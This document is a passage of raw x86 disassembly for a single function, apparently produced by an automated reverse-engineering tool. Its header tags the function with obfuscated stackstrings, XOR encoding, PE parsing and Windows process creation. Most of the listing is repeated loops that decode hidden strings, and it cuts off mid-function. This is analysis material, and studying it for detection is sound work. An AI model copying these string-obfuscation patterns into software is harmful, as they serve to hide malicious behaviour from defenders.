Function at 0x45a4a0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52ec00
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x6e8
push ebx
push esi
push edi
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 7
lea eax, [ebp - 0x314]
push eax
lea ecx, [ebp + 8]
call fcn.0048a3a0
lea ecx, [ebp + 8]
mov edi, dword [eax]
lea eax, [ebp - 0x318]
push eax
call fcn.0048a380
lea ecx, [ebp + 8]
mov esi, dword [eax]
lea eax, [ebp - 0x31c]
push eax
call fcn.0048a3a0
push edi
push esi
mov edx, fcn.0050227e
lea ecx, [ebp - 0x320]
push dword [eax]
call fcn.0048f6f0
add esp, 0xc
cmp byte [0x5700b8], 2
jne 0x45d516
push 0x5700b8
lea ecx, [ebp - 0x24c]
call fcn.0048bd00
lea ecx, [ebp - 0x24c]
call fcn.0048bcc0
push 0x5700b8
lea ecx, [ebp - 0x4a4]
call fcn.0048bd00
lea ecx, [ebp - 0x4a4]
call fcn.0048bc90
lea eax, [ebp - 0x4a4]
push eax
lea ecx, [ebp - 0x24c]
call fcn.0048bbd0
test al, al
jne 0x45d516
mov edi, 0xf
nop dword [eax]
lea ecx, [ebp - 0x24c]
call fcn.00487990
mov byte [ebp - 0xc1], 0xbc
xor edx, edx
mov byte [ebp - 0xc0], 0xb1
mov esi, eax
mov byte [ebp - 0xbf], 0x87
mov byte [ebp - 0xbe], 0xb2
mov byte [ebp - 0xbd], 0xbb
mov byte [ebp - 0xbc], 0xb9
mov byte [ebp - 0xbb], 0xbd
mov byte [ebp - 0xba], 0xd2
mov cl, byte [ebp - 0xc1]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0xc1]
mov ecx, edx
and ecx, 0xf
mov eax, 0xc58161d7
cmp ecx, 0xf
mov edx, 0x27f75b5d
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x29]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xc1], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 8
jb 0x45a5d0
lea eax, [ebp - 0xc1]
mov ecx, esi
push eax
call fcn.0048eef0
lea ecx, [ebp - 0x5ec]
push ecx
mov ecx, eax
call fcn.0048f030
mov byte [ebp - 4], 8
xor edx, edx
mov byte [ebp - 0xca], 0x3c
mov byte [ebp - 0xc9], 0x3f
mov byte [ebp - 0xc8], 5
mov byte [ebp - 0xc7], 8
mov byte [ebp - 0xc6], 5
mov byte [ebp - 0xc5], 0x12
mov byte [ebp - 0xc4], 1
mov byte [ebp - 0xc3], 0x16
mov byte [ebp - 0xc2], 0x6c
mov al, byte [ebp - 0xca]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0xca]
mov ecx, edx
and ecx, 0xf
mov eax, 0x1925555d
cmp ecx, 0xf
mov edx, 0x83349529
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x5d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xca], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 9
jb 0x45a680
lea eax, [ebp - 0xca]
mov ecx, esi
push eax
call fcn.0048eef0
lea ecx, [ebp - 0x5d4]
push ecx
mov ecx, eax
call fcn.0048f030
mov byte [ebp - 4], 9
xor edx, edx
mov byte [ebp - 0x96], 0x1c
mov byte [ebp - 0x95], 0x19
mov byte [ebp - 0x94], 0x2c
mov byte [ebp - 0x93], 0x15
mov byte [ebp - 0x92], 0x19
mov byte [ebp - 0x91], 0x1a
mov byte [ebp - 0x90], 0x74
mov al, byte [ebp - 0x96]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x96]
mov ecx, edx
and ecx, 0xf
mov eax, 0xabb1e879
cmp ecx, 0xf
mov edx, 0xf353896d
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x79]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x96], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 7
jb 0x45a720
lea eax, [ebp - 0x96]
mov ecx, esi
push eax
call fcn.0048eef0
lea ecx, [ebp - 0x22c]
push ecx
mov ecx, eax
call fcn.0048f030
mov byte [ebp - 4], 0xa
xor edx, edx
mov byte [ebp - 0x9d], 0x1c
mov byte [ebp - 0x9c], 0x19
mov byte [ebp - 0x9b], 0x2c
mov byte [ebp - 0x9a], 7
mov byte [ebp - 0x99], 0xe
mov byte [ebp - 0x98], 0x19
mov byte [ebp - 0x97], 0x74
mov al, byte [ebp - 0x9d]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x9d]
mov ecx, edx
and ecx, 0xf
mov eax, 0xabb1e879
cmp ecx, 0xf
mov edx, 0xf353896d
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x79]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x9d], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 7
jb 0x45a7c0
lea eax, [ebp - 0x9d]
mov ecx, esi
push eax
call fcn.0048eef0
lea ecx, [ebp - 0x55c]
push ecx
mov ecx, eax
call fcn.0048f030
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x324]
push eax
lea ecx, [ebp - 0x22c]
call fcn.0048a3a0
lea ecx, [ebp - 0x22c]
mov edi, dword [eax]
lea eax, [ebp - 0x328]
push eax
call fcn.0048a380
lea ecx, [ebp - 0x22c]
mov esi, dword [eax]
lea eax, [ebp - 0x32c]
push eax
call fcn.0048a3a0
push edi
push esi
mov edx, fcn.0050227e
lea ecx, [ebp - 0x4b8]
push dword [eax]
call fcn.0048f6f0
add esp, 0xc
mov edi, 0xf
mov byte [ebp - 0x2e], 0x60
xor edx, edx
mov byte [ebp - 0x2d], 0x4c
mov al, byte [ebp - 0x2e]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x2e]
mov ecx, edx
and ecx, 0xf
mov eax, 0xa3b47547
cmp ecx, 0xf
mov edx, 0xffe320b4
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x2e], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 2
jb 0x45a886
lea ecx, [ebp - 0x22c]
call fcn.0040ba70
lea ecx, [ebp - 0x2e]
push ecx
push eax
call fcn.004fd9b0
add esp, 8
test eax, eax
je 0x45a9f6
lea eax, [ebp - 0x4fc]
mov ecx, eax
mov dword [ebp - 0x4b4], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x4fc]
push 0
push 0x54b54c
call fcn.0040bb00
mov byte [ebp - 4], 0xe
xor edx, edx
mov byte [ebp - 0x28], 0x60
mov byte [ebp - 0x27], 0x4c
mov al, byte [ebp - 0x28]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x28]
mov ecx, edx
and ecx, 0xf
mov eax, 0xa3b47547
cmp ecx, 0xf
mov edx, 0xffe320b4
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x28], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 2
jb 0x45a920
lea eax, [ebp - 0x4e4]
mov ecx, eax
mov dword [ebp - 0x4b0], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x28]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45a977
sub ecx, edx
lea eax, [ebp - 0x28]
push ecx
push eax
lea ecx, [ebp - 0x4e4]
call fcn.0040bb00
mov byte [ebp - 4], 0x11
lea eax, [ebp - 0x4fc]
push eax
lea edx, [ebp - 0x4e4]
lea ecx, [ebp - 0x22c]
call fcn.004114a0
add esp, 4
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x4e4]
call fcn.0040b870
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x4e4]
mov dword [ebp - 0x4ac], eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x4fc]
call fcn.0040b870
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x4fc]
mov dword [ebp - 0x4a8], eax
mov byte [ebp - 4], 0xb
jmp 0x45a876
mov byte [ebp - 0x2a], 0x6c
xor edx, edx
mov byte [ebp - 0x29], 0x4c
mov al, byte [ebp - 0x2a]
mov byte [ebp - 0x19], 0
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0x2a]
mov ecx, edx
and ecx, 0xf
mov eax, 0xa3b47547
cmp ecx, 0xf
mov edx, 0xffe320b4
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x2a], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 2
jb 0x45aa10
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x414], esp
mov dword [ebp - 0x410], esi
mov ecx, esi
mov dword [ebp - 0x40c], esi
call fcn.0040bbc0
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x2a]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45aa72
sub ecx, edx
lea eax, [ebp - 0x2a]
push ecx
push eax
mov ecx, esi
call fcn.0040bb00
mov byte [ebp - 4], 0x1a
sub esp, 0x18
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x408], esp
mov ecx, esp
push eax
call fcn.0048a660
mov byte [ebp - 4], 0x1b
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x16c]
call fcn.00415760
add esp, 0x30
mov byte [ebp - 4], 0x1c
xor ecx, ecx
mov ebx, dword [ebp - 0x168]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x16c]
mov dword [ebp - 0x10], ecx
mov ecx, ebx
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x45ab2b
xor edi, edi
lea eax, [ebp + 8]
lea ecx, [esi + edi]
push eax
call fcn.00492ba0
mov ebx, dword [ebp - 0x168]
mov esi, dword [ebp - 0x16c]
test al, al
jne 0x45b5ac
inc dword [ebp - 0x10]
mov ecx, ebx
sub ecx, esi
mov eax, 0x2aaaaaab
imul ecx
add edi, 0x18
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x10], eax
jb 0x45aae6
mov edi, 0xf
mov cl, byte [ebp - 0x19]
sub ebx, esi
mov eax, 0x2aaaaaab
imul ebx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x45ab4b
test cl, cl
je 0x45d45d
mov byte [ebp - 0x2c], 0x6c
xor edx, edx
mov byte [ebp - 0x2b], 0x4c
mov al, byte [ebp - 0x2c]
mov byte [ebp - 0x20], 0
mov dword [ebp - 0x10], edx
nop
mov bl, byte [ebp + edx - 0x2c]
mov ecx, edx
and ecx, 0xf
mov eax, 0xa3b47547
cmp ecx, 0xf
mov edx, 0xffe320b4
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x2c], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 2
jb 0x45ab60
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x404], esp
mov dword [ebp - 0x400], esi
mov ecx, esi
mov dword [ebp - 0x3fc], esi
call fcn.0040bbc0
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x2c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45abc2
sub ecx, edx
lea eax, [ebp - 0x2c]
push ecx
push eax
mov ecx, esi
call fcn.0040bb00
mov byte [ebp - 4], 0x1f
sub esp, 0x18
lea eax, [ebp - 0x5d4]
mov dword [ebp - 0x3f8], esp
mov ecx, esp
push eax
call fcn.0048a660
mov byte [ebp - 4], 0x20
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x194]
call fcn.00415760
add esp, 0x30
mov byte [ebp - 4], 0x21
mov eax, 0x2aaaaaab
mov edi, dword [ebp - 0x190]
xor ebx, ebx
mov esi, dword [ebp - 0x194]
mov ecx, edi
sub ecx, esi
mov dword [ebp - 0x18], ebx
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x45c428
nop dword [eax + eax]
sub esp, 0x18
lea eax, [ebx + ebx*2]
lea eax, [esi + eax*8]
mov dword [ebp - 0x3f4], esp
mov ecx, esp
push eax
call fcn.0048a660
mov byte [ebp - 4], 0x22
sub esp, 0x10
lea eax, [ebp + 0x20]
mov dword [ebp - 0x3f0], esp
mov ecx, esp
push eax
call fcn.004881c0
mov byte [ebp - 4], 0x23
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x188]
call fcn.004224e0
add esp, 0x28
mov byte [ebp - 4], 0x24
xor edx, edx
lea ecx, [ebp - 0x188]
call fcn.0048f740
test al, al
je 0x45c3e6
mov byte [ebp - 0x106], 0x8d
xor edx, edx
mov byte [ebp - 0x105], 0x8d
mov esi, 0xf
mov byte [ebp - 0x104], 0x95
mov byte [ebp - 0x103], 0x8d
mov byte [ebp - 0x102], 0xb0
mov byte [ebp - 0x101], 0x81
mov byte [ebp - 0x100], 0x83
mov byte [ebp - 0xff], 0x86
mov byte [ebp - 0xfe], 0x8d
mov byte [ebp - 0xfd], 0x81
mov byte [ebp - 0xfc], 0xb5
mov byte [ebp - 0xfb], 0x8f
mov byte [ebp - 0xfa], 0x86
mov byte [ebp - 0xf9], 0x88
mov byte [ebp - 0xf8], 0x8b
mov byte [ebp - 0xf7], 0x92
mov byte [ebp - 0xf6], 0x95
mov byte [ebp - 0xf5], 0x8f
mov byte [ebp - 0xf4], 0xf7
mov al, byte [ebp - 0x106]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x106]
mov ecx, edx
and ecx, esi
mov eax, 0xbc4a24e1
cmp ecx, esi
mov edx, 0xbf940107
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x1f]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x106], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0x13
jb 0x45ad33
lea eax, [ebp - 0x106]
push eax
lea ecx, [ebp - 0x188]
call fcn.0048eef0
lea edx, [ebp - 0x45]
mov ecx, eax
call fcn.004a07f0
mov bh, byte [ebp - 0x45]
xor edx, edx
mov byte [ebp - 0x11b], 0xdd
mov byte [ebp - 0x11a], 0xd4
mov byte [ebp - 0x119], 0xca
mov byte [ebp - 0x118], 0xa6
mov byte [ebp - 0x117], 0x9c
mov byte [ebp - 0x116], 0xa4
mov byte [ebp - 0x115], 0xad
mov byte [ebp - 0x114], 0xaf
mov byte [ebp - 0x113], 0xad
mov byte [ebp - 0x112], 0xac
mov byte [ebp - 0x111], 0x9e
mov byte [ebp - 0x110], 0xb8
mov byte [ebp - 0x10f], 0xa2
mov byte [ebp - 0x10e], 0xb8
mov byte [ebp - 0x10d], 0xb5
mov byte [ebp - 0x10c], 0xb6
mov byte [ebp - 0x10b], 0xaf
mov byte [ebp - 0x10a], 0xb7
mov byte [ebp - 0x109], 0xac
mov byte [ebp - 0x108], 0xae
mov byte [ebp - 0x107], 0xd3
mov al, byte [ebp - 0x11b]
mov dword [ebp - 0x10], edx
nop
mov bl, byte [ebp + edx - 0x11b]
mov ecx, edx
and ecx, esi
mov eax, 0xe652d7bd
cmp ecx, esi
mov edx, 0xdd1a061b
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x43]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x11b], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0x15
jb 0x45ae30
lea eax, [ebp - 0x11b]
push eax
lea ecx, [ebp - 0x188]
call fcn.0048eef0
lea edx, [ebp - 0x46]
mov ecx, eax
call fcn.004a07f0
mov al, byte [ebp - 0x46]
xor edx, edx
mov byte [ebp - 0xf3], 0x8d
mov byte [ebp - 0xf2], 0x8d
mov byte [ebp - 0xf1], 0x95
mov byte [ebp - 0xf0], 0x8d
mov byte [ebp - 0xef], 0xb0
mov byte [ebp - 0xee], 0x81
mov byte [ebp - 0xed], 0x83
mov byte [ebp - 0xec], 0x86
mov byte [ebp - 0xeb], 0x8d
mov byte [ebp - 0xea], 0x81
mov byte [ebp - 0xe9], 0xb5
mov byte [ebp - 0xe8], 0x84
mov byte [ebp - 0xe7], 0x80
mov byte [ebp - 0xe6], 0x94
mov byte [ebp - 0xe5], 0x94
mov byte [ebp - 0xe4], 0x94
mov byte [ebp - 0xe3], 0x82
mov byte [ebp - 0xe2], 0x85
mov byte [ebp - 0x19], al
mov byte [ebp - 0xe1], 0xf7
mov al, byte [ebp - 0xf3]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0xf3]
mov ecx, edx
and ecx, esi
mov eax, 0xbc4a24e1
cmp ecx, esi
mov edx, 0xbf940107
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x1f]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xf3], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0x13
jb 0x45af20
lea eax, [ebp - 0xf3]
push eax
lea ecx, [ebp - 0x188]
call fcn.0048eef0
lea edx, [ebp - 0x47]
mov ecx, eax
call fcn.004a07f0
mov al, byte [ebp - 0x47]
xor edx, edx
mov byte [ebp - 0xe0], 0x4d
mov byte [ebp - 0xdf], 0x4d
mov byte [ebp - 0xde], 0x55
mov byte [ebp - 0xdd], 0x54
mov byte [ebp - 0xdc], 0x6c
mov byte [ebp - 0xdb], 0x5a
mov byte [ebp - 0xda], 0x55
mov byte [ebp - 0xd9], 0x55
mov byte [ebp - 0xd8], 0x50
mov byte [ebp - 0xd7], 0x5f
mov byte [ebp - 0xd6], 0x55
mov byte [ebp - 0xd5], 0x4f
mov byte [ebp - 0x1a], al
mov byte [ebp - 0xd4], 0x35
mov al, byte [ebp - 0xe0]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0xe0]
mov ecx, edx
and ecx, esi
mov eax, 0xc9c2f82d
cmp ecx, esi
mov edx, 0x8f8c4c04
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x2d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xe0], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xd
jb 0x45aff0
lea eax, [ebp - 0xe0]
push eax
lea ecx, [ebp - 0x188]
call fcn.0048eef0
lea ecx, [ebp - 0x58c]
push ecx
mov ecx, eax
call fcn.0048f030
mov byte [ebp - 4], 0x25
xor edx, edx
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x4c
mov al, byte [ebp - 0x22]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x22]
mov ecx, edx
and ecx, 0xf
mov eax, 0xa3b47547
cmp ecx, 0xf
mov edx, 0xffe320b4
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x22], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 2
jb 0x45b062
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x3ec], esp
mov dword [ebp - 0x3e8], esi
mov ecx, esi
mov dword [ebp - 0x3e4], esi
call fcn.0040bbc0
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x22]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45b0c4
sub ecx, edx
lea eax, [ebp - 0x22]
push ecx
push eax
mov ecx, esi
call fcn.0040bb00
mov byte [ebp - 4], 0x28
sub esp, 0x18
lea eax, [ebp - 0x58c]
mov dword [ebp - 0x4c0], esp
mov ecx, esp
push eax
call fcn.0048a660
mov byte [ebp - 4], 0x29
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x178]
call fcn.00415760
add esp, 0x30
mov byte [ebp - 4], 0x2a
test bh, bh
je 0x45ba4e
lea ecx, [ebp + 0x30]
call fcn.00487d20
test eax, eax
je 0x45b5b8
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x1d8]
call fcn.00492820
mov esi, dword [ebp - 0x14]
lea edx, [ebp - 0x1d8]
or esi, 0x4000000
lea ecx, [ebp + 0x30]
mov dword [ebp - 0x14], esi
call fcn.004a0aa0
mov eax, dword [ebp - 0x1d8]
lea ecx, [ebp - 0x12c]
push 0
push dword [eax]
call fcn.0048bbc0
mov eax, dword [ebp - 0x12c]
mov byte [ebp - 0x145], 0
cmp byte [eax + 0xd], 0
jne 0x45b592
mov ebx, dword [ebp - 0x20]
nop
test bl, bl
jne 0x45b592
cmp byte [eax + 0x28], bl
lea edi, [eax + 0x28]
je 0x45b577
mov ecx, edi
call fcn.00487d20
test eax, eax
je 0x45b577
push edi
lea ecx, [ebp - 0x28c]
call fcn.0048bd00
lea ecx, [ebp - 0x28c]
call fcn.0048bcc0
push edi
lea ecx, [ebp - 0x434]
call fcn.0048bd00
lea ecx, [ebp - 0x434]
call fcn.0048bc90
lea eax, [ebp - 0x434]
push eax
lea ecx, [ebp - 0x28c]
call fcn.0048bbd0
test al, al
jne 0x45b577
nop dword [eax + eax]
lea ecx, [ebp - 0x28c]
call fcn.00487990
mov edi, eax
test bl, bl
jne 0x45b577
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x1e0]
call fcn.00492820
or esi, 0x2000000
lea edx, [ebp - 0x1e0]
mov ecx, edi
mov dword [ebp - 0x14], esi
call fcn.004a0aa0
mov eax, dword [ebp - 0x1e0]
lea ecx, [ebp - 0x128]
push 0
push dword [eax]
call fcn.0048bbc0
mov eax, dword [ebp - 0x128]
mov byte [ebp - 0x146], bl
cmp byte [eax + 0xd], bl
jne 0x45b53a
test bl, bl
jne 0x45b537
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.00487d20
test eax, eax
je 0x45b51c
push esi
lea ecx, [ebp - 0x23c]
call fcn.0048bd00
lea ecx, [ebp - 0x23c]
call fcn.0048bcc0
push esi
lea ecx, [ebp - 0x424]
call fcn.0048bd00
lea ecx, [ebp - 0x424]
call fcn.0048bc90
lea eax, [ebp - 0x424]
push eax
lea ecx, [ebp - 0x23c]
call fcn.0048bbd0
test al, al
jne 0x45b51c
mov edi, 0xf
nop dword [eax + eax]
lea ecx, [ebp - 0x23c]
call fcn.00487990
mov esi, eax
test bl, bl
jne 0x45b51c
lea eax, [ebp - 0x2f8]
mov ecx, eax
mov dword [ebp - 0x3e0], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x2f8]
push 0
push 0x54b54c
call fcn.0040bb00
mov byte [ebp - 4], 0x2f
xor edx, edx
mov byte [ebp - 0xa4], 0x14
mov byte [ebp - 0xa3], 0x12
mov byte [ebp - 0xa2], 0x1e
mov byte [ebp - 0xa1], 0x13
mov byte [ebp - 0xa0], 0x15
mov byte [ebp - 0x9f], 0x1b
mov byte [ebp - 0x9e], 0x74
mov al, byte [ebp - 0xa4]
mov dword [ebp - 0x10], edx
nop
mov bl, byte [ebp + edx - 0xa4]
mov ecx, edx
and ecx, 0xf
mov eax, 0xabb1e879
cmp ecx, 0xf
mov edx, 0xf353896d
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x79]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xa4], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 7
jb 0x45b340
lea eax, [ebp - 0xa4]
mov ecx, esi
push eax
call fcn.0048eef0
cmp byte [eax], 0
je 0x45b42d
mov byte [ebp - 0xb9], 0x14
xor edx, edx
mov byte [ebp - 0xb8], 0x12
mov byte [ebp - 0xb7], 0x1e
mov byte [ebp - 0xb6], 0x13
mov byte [ebp - 0xb5], 0x15
mov byte [ebp - 0xb4], 0x1b
mov byte [ebp - 0xb3], 0x74
mov al, byte [ebp - 0xb9]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0xb9]
mov ecx, edx
and ecx, 0xf
mov eax, 0xabb1e879
cmp ecx, 0xf
mov edx, 0xf353896d
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x79]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xb9], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 7
jb 0x45b3d3
lea eax, [ebp - 0xb9]
mov ecx, esi
push eax
call fcn.0048eef0
push eax
lea ecx, [ebp - 0x2f8]
call fcn.004962f0
xor bh, bh
mov byte [ebp - 0x30], 0x6e
xor edx, edx
mov byte [ebp - 0x2f], 0x4c
mov al, byte [ebp - 0x30]
mov dword [ebp - 0x10], edx
nop
mov bl, byte [ebp + edx - 0x30]
mov ecx, edx
and ecx, 0xf
mov eax, 0xa3b47547
cmp ecx, 0xf
mov edx, 0xffe320b4
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x30], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 2
jb 0x45b440
sub esp, 0x18
lea eax, [ebp - 0x2f8]
mov ecx, esp
mov dword [ebp - 0x3dc], esp
lea edx, [ebp - 0x30]
push eax
call fcn.0048ec50
mov byte [ebp - 4], 0x30
sub esp, 8
lea eax, [ebp - 0x178]
mov dword [ebp - 0x3d8], esp
mov ecx, esp
push eax
call fcn.00489510
mov byte [ebp - 4], 0x31
mov byte [ebp - 4], 0x2f
mov cl, bh
call fcn.00422800
mov ebx, dword [ebp - 0x20]
add esp, 0x24
test al, al
movzx ebx, bl
mov eax, 1
cmovne ebx, eax
mov dword [ebp - 0x20], ebx
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x2f8]
call fcn.0040b870
mov byte [ebp - 4], 0x2c
lea eax, [ebp - 0x2f8]
mov dword [ebp - 0x3d4], eax
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x23c]
call fcn.00487940
lea eax, [ebp - 0x424]
push eax
lea ecx, [ebp - 0x23c]
call fcn.0048bbd0
test al, al
je 0x45b2c0
lea ecx, [ebp - 0x128]
call fcn.0048bb60
mov eax, dword [ebp - 0x128]
cmp byte [eax + 0xd], 0
je 0x45b254
mov esi, dword [ebp - 0x14]
and esi, 0xfdffffff
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x1e0]
call fcn.0045d5d0
lea ecx, [ebp - 0x28c]
call fcn.00487940
lea eax, [ebp - 0x434]
push eax
lea ecx, [ebp - 0x28c]
call fcn.0048bbd0
test al, al
je 0x45b1f0
lea ecx, [ebp - 0x12c]
call fcn.0048bb60
mov eax, dword [ebp - 0x12c]
cmp byte [eax + 0xd], 0
je 0x45b180
and esi, 0xfbffffff
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x1d8]
call fcn.0045d5d0
jmp 0x45b5bb
mov cl, 1
mov edi, 0xf
jmp 0x45ab2e
mov esi, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x20]
test bl, bl
jne 0x45ba51
lea ecx, [ebp + 0x40]
call fcn.00487d20
test eax, eax
je 0x45ba51
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x1c8]
call fcn.00492820
or esi, 0x1000000
lea edx, [ebp - 0x1c8]
lea ecx, [ebp + 0x40]
mov dword [ebp - 0x14], esi
call fcn.004a0aa0
mov eax, dword [ebp - 0x1c8]
lea ecx, [ebp - 0x134]
push 0
push dword [eax]
call fcn.0048bbc0
mov eax, dword [ebp - 0x134]
mov byte [ebp - 0x11c], bl
cmp byte [eax + 0xd], bl
jne 0x45ba34
test bl, bl
jne 0x45ba34
cmp byte [eax + 0x28], bl
lea edi, [eax + 0x28]
je 0x45ba19
mov ecx, edi
call fcn.00487d20
test eax, eax
je 0x45ba19
push edi
lea ecx, [ebp - 0x204]
call fcn.0048bd00
lea ecx, [ebp - 0x204]
call fcn.0048bcc0
push edi
lea ecx, [ebp - 0x454]
call fcn.0048bd00
lea ecx, [ebp - 0x454]
call fcn.0048bc90
lea eax, [ebp - 0x454]
push eax
lea ecx, [ebp - 0x204]
call fcn.0048bbd0
test al, al
jne 0x45ba19
lea ecx, [ebp - 0x204]
call fcn.00487990
mov edi, eax
test bl, bl
jne 0x45ba19
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x1d0]
call fcn.00492820
or esi, 0x400000
lea edx, [ebp - 0x1d0]
mov ecx, edi
mov dword [ebp - 0x14], esi
